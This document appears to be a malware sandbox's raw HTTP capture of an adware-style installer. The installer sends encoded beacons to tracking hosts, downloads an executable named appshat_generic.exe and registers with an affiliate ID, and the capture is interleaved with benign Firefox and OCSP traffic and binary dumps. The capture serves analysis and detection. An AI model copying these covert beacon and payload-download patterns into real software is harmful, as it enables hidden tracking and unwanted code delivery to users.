User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)
Host: rep.youtubeaccelerator.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Content-Type: image/gif
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 30 Apr 2015 09:25:18 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Thu, 30 Apr 2015 09:25:18 GMT..Content-Length: 0....
..


GET /app/ping.ashx?e=N6dOqWm8Q96MfN93CMDrz6jJfooaJy9 9x5AR6gjw3ddOfUh X e3KWVb3f653Ub2yLvqUuoT2b669uXeODcaUuDZbxKNz6NsSNKKkCXJzFm5LT87ehXaouB5vT09TkZPjLUR1sqzj3fFDEx7p39heZkF1/HCKmEvlcum0nVhgGnsJk52TNevcO0XORzHjel Qi34DV81hm9ABjuVptn8v8ankP8n9dyrKt6FFFGjDmPwcSeTfjP3YwzWtA8HvLh2AdNW8se5tJwlKiyKEzpqDKGkKTsMuFKX NzbP1SeVQdPSkZVS9k32damvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgt4T3HqLJ/VOG/dVdd2ZQulS80g5AwOE2fl0yK7ww8bRFvI1dQMsMzfd5OMOAEL/nEw1Cd/XwKaFZc38bGVivn4K46RaPQ8p40FscvLmfeEU= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)
Host: rep.youtubeaccelerator.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Content-Type: image/gif
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 30 Apr 2015 09:25:24 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Thu, 30 Apr 2015 09:25:24 GMT..Content-Length: 0..



GET /31804.ashx?e=2v0SNuZrMFxVoN1r7EPlazdjsMBgf4Crsg7jyZ2P5QEDt2EUeZbtRVHmS0Zrngqa/u6z7Uinv/jW9oxyhiXHqkCN9h bV19VdXQO8eCkzNk9LWPkwGrB/imF904v4t2DTTuHrYVulo109x0h yMmOq3 e5cYLWVDvEq1XCmEIT/KGwMMc0gnpNgExseWQzn25w3RbfTGNT9pdD3k9Bz56StbFykGQeFJDeQKlJvveiYBN5p9ENNd42Jy LrysKIChDb8xDMtOox69ZimTX2csKzbMzc4pOx2GGp9MstS3cDTDTdslR3ozqAqUZoVYaYq7bYCjMNSwIQ/RwTXhce2f8AgCBrynT3T/Dw8o2fbvVqcMM7jAoddqLdDuCot28iq0o3 yQeiL1SuvBinayp0tcns/kzQV2BeEcxt9Qv33nnygIx XkkBquLrC93K5FW5l208O4rRao0E6NcS/ao7oObdRP0O2TtGfu0Hoi4IoRaoc6SnqWp/oWNRnHx8enwk/aK7d1sV3iVS6qgnFCgftRA3YsNRBZWc6/aMBz7Ly9o89e8YHMKynf1HMm1Ts0Hqd5LUq7 5Y6PN25QukZWk/lWZ9Aknq7ogniBj6FyICxJnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYMiISMf8I5JK HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:25:15 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Thu, 30 Apr 2015 09:25:15 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..



GET /4475.ashx?e=BSSQS1gsMUSQVExL/6LI8D2S/voHNL3Y1VMaOJFqXYpxTYwWxYG9WJlbztiqtoL/FNZ51t0VaMPpKRjNB7AWeFi2s6XsF8NY0jd2Ua9SYWgE8SFHLIEPsD LD4ni i1YdBJZ5riIcvtUE1GQHZQfQHQBxTzK/bEJeNU2AyMdjD2r9Dmom8z1Bdz0MKRim67MuTCPyUuZt4XfFDEx7p39heZkF1/HCKmEvlcum0nVhgFW1jOB/tj8S4zwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbc3zGts4CU58= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:24:54 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Thu, 30 Apr 2015 09:24:54 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......


GET /4475.ashx?e=4mC0vXGWFtoLjT49fHfOTMVKo2MRSclf/WD6e6SZIIExLHUkaU0662DlNcv2CDURaBJWb7gYdHjpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWnwF8xC533Fcga zuhV9q9E6whnJOTx2B  K9V0GRRESmtnRdFSmbGtLnmup1KByvgTxIUcsgQ wP4sPieL6LVh0ElnmuIhy 1QTUZAdlB9AdAHFPMr9sQl41TYDIx2MPav0OaibzPUF3PQwpGKbrsy5MI/JS5m3hd8UMTHunf2F5mQXX8cIqYS Vy6bSdWGAVbWM4H 2PxLjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701Low7QjwPfdWbpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWg== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:24:54 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /4475.ashx?e=4mC0vXGWFtoLjT49fHfOTMVKo2MRSclf/WD6e6SZIIExLHUkaU0662DlNcv2CDURaBJWb7gYdHjpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWnwF8xC533Fcga zuhV9q9E6whnJOTx2B  K9V0GRRESWOmrCoYyvl0E8SFHLIEPsCOn2ZuaqIYcuCFW/zxMyvvLaPsNuIhxx0d1GAfvnAkXZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FK0JaqM5TfRQn3eTjDgBC/5xMNQnf18CmhWXN/GxlYr5/8hKTHrF/ mQ== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:24:55 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /4475.ashx?e=4mC0vXGWFtoLjT49fHfOTMVKo2MRSclf/WD6e6SZIIExLHUkaU0662DlNcv2CDURaBJWb7gYdHjpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWnwF8xC533Fcga zuhV9q9E6whnJOTx2B  K9V0GRRESrStpyyCRN5x7ym41MswgnBQC drCF7eFJhhGzA08OtdpLQcpZ72RD4lZ0Pn9hwbTxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux9xE2itOk8xksTQhEmdgakIJt6fkJEmbrLbA5wX5Xz49P3ZbbTbQM 8w== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:24:55 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /4475.ashx?e=4mC0vXGWFtoLjT49fHfOTMVKo2MRSclf/WD6e6SZIIExLHUkaU0662DlNcv2CDURaBJWb7gYdHjpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWnwF8xC533Fcga zuhV9q9E6whnJOTx2B  K9V0GRRES0QUWvd/8CeCuYNVGnomyBSmF904v4t2DUn5zsC9NJ U2RbYIv/u4RW6BwwlDhXXzVMPssdyAArGNPv3ifC5kV9jP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29qi15mGxh9u5L Ls8LW/V2IeBDHDzycSdzuMEO03HPn UgyWQ7Q3RDGr78QLuadMpg= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:24:55 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /4475.ashx?e=4mC0vXGWFtoLjT49fHfOTMVKo2MRSclf/WD6e6SZIIExLHUkaU0662DlNcv2CDURaBJWb7gYdHjpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWnwF8xC533Fcga zuhV9q9E6whnJOTx2B  K9V0GRRES3IlxQB6eB5Tb5n94HT1KkLPiCC4paVhdcdUGYiS9T3hWvLaCpauVc Iu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1Zduvs5XDPxhOryl7ypflgvTRwmD/ebOqTPsorVYAdENuhkO58TM0pyg= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:24:55 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /4475.ashx?e=4mC0vXGWFtoLjT49fHfOTMVKo2MRSclf/WD6e6SZIIExLHUkaU0662DlNcv2CDURaBJWb7gYdHjpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWnwF8xC533Fcga zuhV9q9E6whnJOTx2B  K9V0GRRESzPATDFWSxavJscN vLrCo4Wo77DNrKDSv7giBVAIY12rMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUQ91YLfuzI3pHtMBal4vBGNCK5k8M9soKVuYS5UmoA pcueCh2dpFUQYwukK5SKFU HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:24:56 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /4475.ashx?e=aQQpsP6/AW18o9SV8EJ33ZL yAYdXN5RpIM3M8yu/weMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK817fOGjucERMRNCESZ2BqQgm3p QkSZustsDnBflfPj02fuP0OVHG7vUeZLRmueCpr 7rPtSKe/ M7RbLG9tjjZX4l9XCm/Va/mJXdux5Fvl9n5EWJRAEnQKYX3Ti/i3YP1b661ON6JHo8ELrHrpRwVw1PcYrVm0Q9XQ9J8KSs5a4MNpNQo19uHgy6YlW82m1mJd/JSmlPgygFakk3mKHZ8nZ92R8WPtSPD39uruDJE98eAAVArKptKUdW1y396VwWkTqbSbpNNR48UBgfn/EdyjMb3M1eFmdc2 Le3/eDB Eeu2KCTq4AUbl4e0/dEFirVXgd6TQBX2bwyCrtkSlvF94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsF7Q 9lY/UdPfFDEx7p39heZkF1/HCKmEvlcum0nVhgH/wyH94MTPgg== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:24:56 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /4475.ashx?e=aQQpsP6/AW18o9SV8EJ33ZL yAYdXN5RpIM3M8yu/weMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK817fOGjucERMRNCESZ2BqQgm3p QkSZustsDnBflfPj02fuP0OVHG7vUeZLRmueCpr 7rPtSKe/ M7RbLG9tjjZX4l9XCm/Va AW1ilHO0XlqaFGmNQisoEs IILilpWF0xvNRnLf/zkL0gMjSgdVjaBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLAwqTRg0EM0e494A4w6hav IDAjrH/v51ZYEk4c2tqqwRapSzPNpxY20iRlndgoD0 HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:24:56 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /4475.ashx?e=aQQpsP6/AW18o9SV8EJ33ZL yAYdXN5RpIM3M8yu/weMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK817fOGjucERMRNCESZ2BqQgm3p QkSZustsDnBflfPj02fuP0OVHG7vUeZLRmueCpr 7rPtSKe/ M7RbLG9tjjZX4l9XCm/Va/aaY YTEt5Uvbfo/lsLEXHKYX3Ti/i3YPc6IXuGS75LmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgEPlcKBNGiF/021585MfhStCWqjOU30UJ93k4w4AQv cTDUJ39fApoVlzfxsZWK f/ISkx6xf/pk= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:24:56 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /4475.ashx?e=obiBp3WOda94HRn2UIUeHkaLWeDUuxNc7OXLse4BafTbQC nVTu53mZVsyaCUtL6gqXeieYZsf2494A4w6hav IDAjrH/v51ZYEk4c2tqqwRapSzPNpxY5JPYxSEah4SVR5AawbKoxqRy3/PCMI04HwlxgVBJ8YiGxrTqW15vZAdYLC6Fwg82dCUHeR8YCF3Bk5uyFG9yyJ4mMkepz8MndjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29qi15mGxh9u5L Ls8LW/V2IeBDHDzycSdzuMEO03HPn UgyWQ7Q3RDGr78QLuadMpg= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:24:57 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Thu, 30 Apr 2015 09:24:57 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......


GET /4475.ashx?e=eISsn0A7mAY luBT5UotGDDg90yhWAZu1x5NOexglQ54E7mrr1h80pGhRXiiBAM3/pj4Ga9vJtW/i7PC1v1diHgQxw88nEnc7jBDtNxz5/lIMlkO0N0Qxs4w9Wm71Kk6mVvO2Kq2gv8U1nnW3RVow kpGM0HsBZ4b GEwPiedNIoPfCrfVvRJhQC drCF7eFcz7 uAJ9xYc2HdAkQAtbdN0UDIdpIB1Qnh1HGq AP1KrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUQ91YLfuzI3pHtMBal4vBGNCK5k8M9soKVuYS5UmoA pcueCh2dpFUQYwukK5SKFU HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:24:58 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Thu, 30 Apr 2015 09:24:58 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..



GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=142780-
User-Agent: Better Installer(Mozilla)
Host: d3cu4o8yyw81v.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 142778
Connection: keep-alive
Date: Sun, 26 Apr 2015 05:03:51 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 142780-285557/285558
Age: 1196
X-Cache: Hit from cloudfront
Via: 1.1 8813babdd85ca691e150294142d51c61.cloudfront.net (CloudFront)
X-Amz-Cf-Id: cI16IwxcryPvYPKlsYf2tKIjU6r2xYPqHSx8cle9rUdvB0NqCqM-IQ==
..<......O.. ..o...U ...h..y.O..X..C............2.[..,..."m...~b...
.......V:...!.......;n .f.P..i?.|...B..w..?5w{...z9.].8*..3..(x...z/E_
...oz...#.".2:...z-.&ng...&y.......H|.q$...Y.....G..M..E.*N...&..z...U
.`....t.?T5.m..<.<...BK..nY_#[....YI?.4...!h.Y..>.....c.M....
F..j..Ht7.gN...z..(..l..\u.~...].Ub...M!..<{.P.M.MM.ne?..<.:....
O.,=.h.....Z.b.........Y....R.s.e.I).i..fpk.j.O0........].2|.0.C``....
...m_z.=W..^...C:............Q...xbR.....t...eF.V.....aR..2o..w.>..
r!U......Xs%.Wm.&.LbX0{.P........@..\w.......>.../.bW........X....^
e8......Lq...[.3a...n*..........2..!c_ .......{...Z.lf...z..o...~*..l.
...G..2.w.8.#.*........DH..-df.][email protected]...'k.... ....m.
=....X..J........e.... .R.7.........!..\..C..G/./..y..*=.......,..V..f
.%....LF.|......T..g..fPs.............-6.".l.t 5..'B.....=.}K.9.%.j.1.
.J.\u&...mg!..Y(...U./?q=B{.z..Q...>....<..B.|keIL.c;........N..
..n....*K...F..~.5.2......K...'n..,&rt...N.G.59.]k....N..3....P...)...
...M w..........6.G.2T......L...B0.#.R....5..,.N..|#..%.lN...9.j...j.2
x....R....Mh..-...D.2...l....*....9c..m.9.e....].j....a.2.7...\....E.B
iu.Bf....a..Oh..r... ...(2n..7BD7.D/........D...T..*.q...u.J..4...v...
I..u.Wr......*.......b....`[email protected]@...zrR..Z..Um....Z.D>\..
........3C.b.._XI.[s..t.......].R..p.=.&E..Z4<....z...=..%.Y..>.
.CF.,]tp..C.iV..z.dh.pI?c\7..4!2..^.M....GDiK..*.=...!.?.......H......
.)]...(..@..(..{..E^yVP ......%M,..O...S2........d^....T..VE.....j.y..
.....}..GqN....E7rG{.E.....y...N/.WG..,...QV.GC.m.gY..........4...
<<< skipped >>>


GET /pub/firefox/releases/34.0.5/update/win32/en-US/firefox-34.0.5.complete.mar HTTP/1.1
Host: download.cdn.mozilla.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Range: bytes=1200000-1499999
Connection: keep-alive


HTTP/1.1 206 Partial Content
Last-Modified: Wed, 26 Nov 2014 16:59:55 GMT
ETag: "4b1e700-2dc5623-508c5f506dac8"
Server: Apache
X-Backend-Server: ftp3.dmz.scl3.mozilla.com
Content-Type: application/octet-stream
Accept-Ranges: bytes
Access-Control-Allow-Origin: *
X-Cache-Info: cached
Cache-Control: max-age=305059
Expires: Sun, 03 May 2015 22:07:47 GMT
Date: Thu, 30 Apr 2015 09:23:28 GMT
Content-Range: bytes 1200000-1499999/47994403
Content-Length: 300000
Connection: keep-alive
,................L'...UM*..b...."..A.(.P`*.v..f...1.%.`.Xu...X# .d .".
 .B2!.J..U....Z1....ff.Q..)........v.S.B.D.. .U@X..`.AN....A.F.Q.E..U.
4..#=.Vy.b$..H.x...J..V&.Z.q...d....<.v.Q..*..p...,.1`%.Q.........H
.E..k*..Uj ..c ...S..I.Y....gz.aR.. .j...<\.xxE)..t.B..M.R.|..(...,
.Q..QD[_>.c..YcaA"X!T:...[j\...;2J...3.4.{.Mm.,..Q2....t<.Jw7..@
.al .......U .3....<....e%....R.....K.S=.3(.........K.>.|.%Q<
..,..H...X(. ....zg... tAh..Q...,...X1.H.E]kR.V.Q..q,ol.....Z..Hc....X
!.R....1mT...J.E..U.A#....mU...U.....s5.1 ...V2%h.c..........S.....b.&
.*YAj)G...F..#2....U.....C...d..ihR. .D`..J[m..Y.e....7Vv...D#1...X.A,
Z...|.t..KK..X.Z..|.c2..x........X2...Q....%......a.......-.L...S.....
.`...c#....V.... .`..[eB...1Q.b.....w..b....,.dr.Fg..w.b[.....4(.e,6n.
]..y...VWA....e.(T....e.P."cm..[......~G...l....h.f|..[[.m..8....%\K{a
H...6...Ls,....h.2h..p..aHR.K.b..DHu^.u.....W.b/k..l....'2.4M)M.Nhq..L
.-...e..^d...e.2..j`..B...%X1..6.-X.....[...b.. ....a....Q.w..P.....6.
..eaG.Llb0Q.;.f....h!Z...AE........._..j.4.Y...hQ......)..H..B..K=....
..........$}O.[.......P^.p.6....G.T&.9...mw.j...F!..'O........K...M.?.
....J..y....c"......@j4_x.#.......&.....8.n......r=..$_..)?e.u.OB.'...
.V.r.....Z,[email protected].'.."I...S[.........
...%e.........xo/[email protected]\..1.-..vAz...UQ.V.[L....
. qEQ.,.._ET/1..#.wX.-.1..(./.#.c....G..chR....%..X.]........q....]N.F
.Q...\Y..Q.I...[..o_..0..,x*.-y].t2...FB0....c..f.i.....w29..;:-.....u
.......zXKM.].?.........3Fsll|.l.q...7.'..m.......B[....a......:..
<<< skipped >>>


GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTEemCaVgs8Tuh2B9fGVE0pKKNyzgQUTF+nNhcF4oZhIkk5jLmo40rgOBoCEC6utoKGY/7ZdVX4/iTzOxo= HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.verisign.com


HTTP/1.1 200 OK
Server: nginx/1.4.7
Content-Type: application/ocsp-response
Content-Length: 1552
content-transfer-encoding: binary
Cache-Control: max-age=571460, public, no-transform, must-revalidate
Last-Modified: Thu, 30 Apr 2015 00:10:33 GMT
Expires: Thu, 7 May 2015 00:10:33 GMT
Date: Thu, 30 Apr 2015 09:27:13 GMT
Connection: keep-alive
0..........0..... [email protected]
0001033Z0s0q0I0... .........z`.V.<N.v...TM)(.r...L_.6....a"I9....J.
8........c..uU..$.;.....20150430001033Z....20150507001033Z0...*.H.....
........e...E;....([email protected].....,.jPVAh..z...4..eL. ....2.G9.i}..
H..!.}..........<.w..0W......a...S.K)AR.h..N...V}.5:,..xE......n..j
n.:wg.h{....D.:-...~.7....L?..W...<.Vm..5.6o.g...3..=...f.R.W(.t.`.
. &.4:..d....K..K..A./.e.d..W..K=a..l......f...........0.......50..10.
.-0..........y.P}~.EY....T]. 0...*.H........0..1.0...U....US1.0...U...
.VeriSign, Inc.1<0:..U...3Class 3 Public Primary Certification Auth
ority - G21:08..U...1(c) 1998 VeriSign, Inc. - For authorized use only
1.0...U....VeriSign Trust Network0...141202000000Z..151216235959Z0..1.
0...U....US1.0...U....Symantec Corporation1.0...U....Symantec Trust Ne
twork1?0=..U...6Symantec Class 3 PCA - G2 OCSP Responder Certificate 3
0.."0...*.H.............0..........6..]......w';.r........I..c..4.... 
.........TyW......hd_.....!C.k......SE<?o.H.. .me.c..9N.&....e.^-..
a.....i\:..*."..u...|....".Nf3.~.L...QW...p.....-]UV8U...J&.<./.G..
...I...4.T....#I*.i.E0\..~q$.I.......X?G....f.t......v.l.U.Ld.I...B...
..=...Sf...H.s.........0..0...U....0.0l..U. .e0c0a..`.H...E....0R0&.. 
.........hXXp://VVV.symauth.com/cps0(.. .......0...hXXp://VVV.symauth.
com/rpa0...U.%..0... .......0...U........0... .....0......0!..U....0..
.0.1.0...U....TGV-B-2740...*.H............1.`...i.....H.C.i.9~.i..Z.r.
*$..(./.ag9.....J.Q.~.`.$?b..C....<.h.........d&....3.kV.....f.
<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRODEXefhs/UZFum2o8YfzOFwceMwQUkz5j3yJ0BOBkhDHd2yOfDq+2TZMCEA89qsgV9niZmSI6gIO0S/U= HTTP/1.1


Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.verisign.com


HTTP/1.1 200 OK
Server: nginx/1.4.7
Content-Type: application/ocsp-response
Content-Length: 1725
content-transfer-encoding: binary
Cache-Control: max-age=346005, public, no-transform, must-revalidate
Last-Modified: Mon, 27 Apr 2015 09:29:58 GMT
Expires: Mon, 4 May 2015 09:29:58 GMT
Date: Thu, 30 Apr 2015 09:27:13 GMT
Connection: keep-alive
0..........0..... .....0......0...0......%bn.$..5.......?'4....2015042
7092958Z0s0q0I0... ........N.E.~.?Q.n.j<a.....3...>c."t..d.1..#.
...M....=....x..":...K.....20150427092958Z....20150504092958Z0...*.H..
...............\..u-......5...F......:A.u.R....k}...."q...(........7E.
.`[email protected].;.L........v..{.....O.U.M..........[Bh.<W....q..9..
e...n..k6..W.}.....B-%.B.^.......{.&|..X.5.v.H.....L...G..e....TF.?..L
.-XE.Xhe\.%........sg".......sk..qa....f7..%......X Ykl.>TG.....0..
.0...0..........7.R.~|..r."....#0...*.H........0..1.0...U....US1.0...U
....VeriSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms of
 use at hXXps://VVV.verisign.com/rpa (c)091.0,..U...%VeriSign Class 3 
Code Signing 2009 CA0...150401000000Z..150630235959Z0..1.0...U....US1.
0...U....VeriSign, Inc.1.0...U....VeriSign Trust Network1:08..U...1Ver
iSign Class 3 Code Signing 2009 OCSP Responder0.."0...*.H.............
0..........z..|..>.....5.Z ...2.C MWIH.5......M.\.... ...eW..`.B=..
`:..R. ...Z.k.Y.....p@.(3.c....a.;..[E....J:'...`...B....M..&......{. 
(........%......^[v[....m....*.T.o&4..3.....3.........G...e)...'?.K..2
s..8=?..z.:..T..-.8R..8wv7*U.K..c...<s...]{.........6.?_...........
0...0...U....0.0....U. ...0..0....`.H...E....0..0(.. .........hXXps://
VVV.verisign.com/CPS0b.. .......0V0...VeriSign, Inc.0.....=VeriSign's 
CPS incorp. by reference liab. ltd. (c)97 VeriSign0...U.%..0... ......
.0...U........0... .....0......0"..U....0...0.1.0...U....TGV-B-34920..
.*.H.............,..-......q3a........z....t;B.z.h...]...#}.6.,..Y
<<< skipped >>>


GET /online/RegisterAnon.aspx?ProductID=12000&Aff=smtyc0_0_0_0_0,0af78b95-d2eb-4fd4-967a-6cd8a6a2e22d,&BundleID=NONE&BrandID=NONE&PartnerList= HTTP/1.1
User-Agent: CoreWinInet
Host: online.GOOBZO.com
Cache-Control: no-cache
Cookie: ASP.NET_SessionId=i0ikdm45oy4ymsyltckixl55


HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 98
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
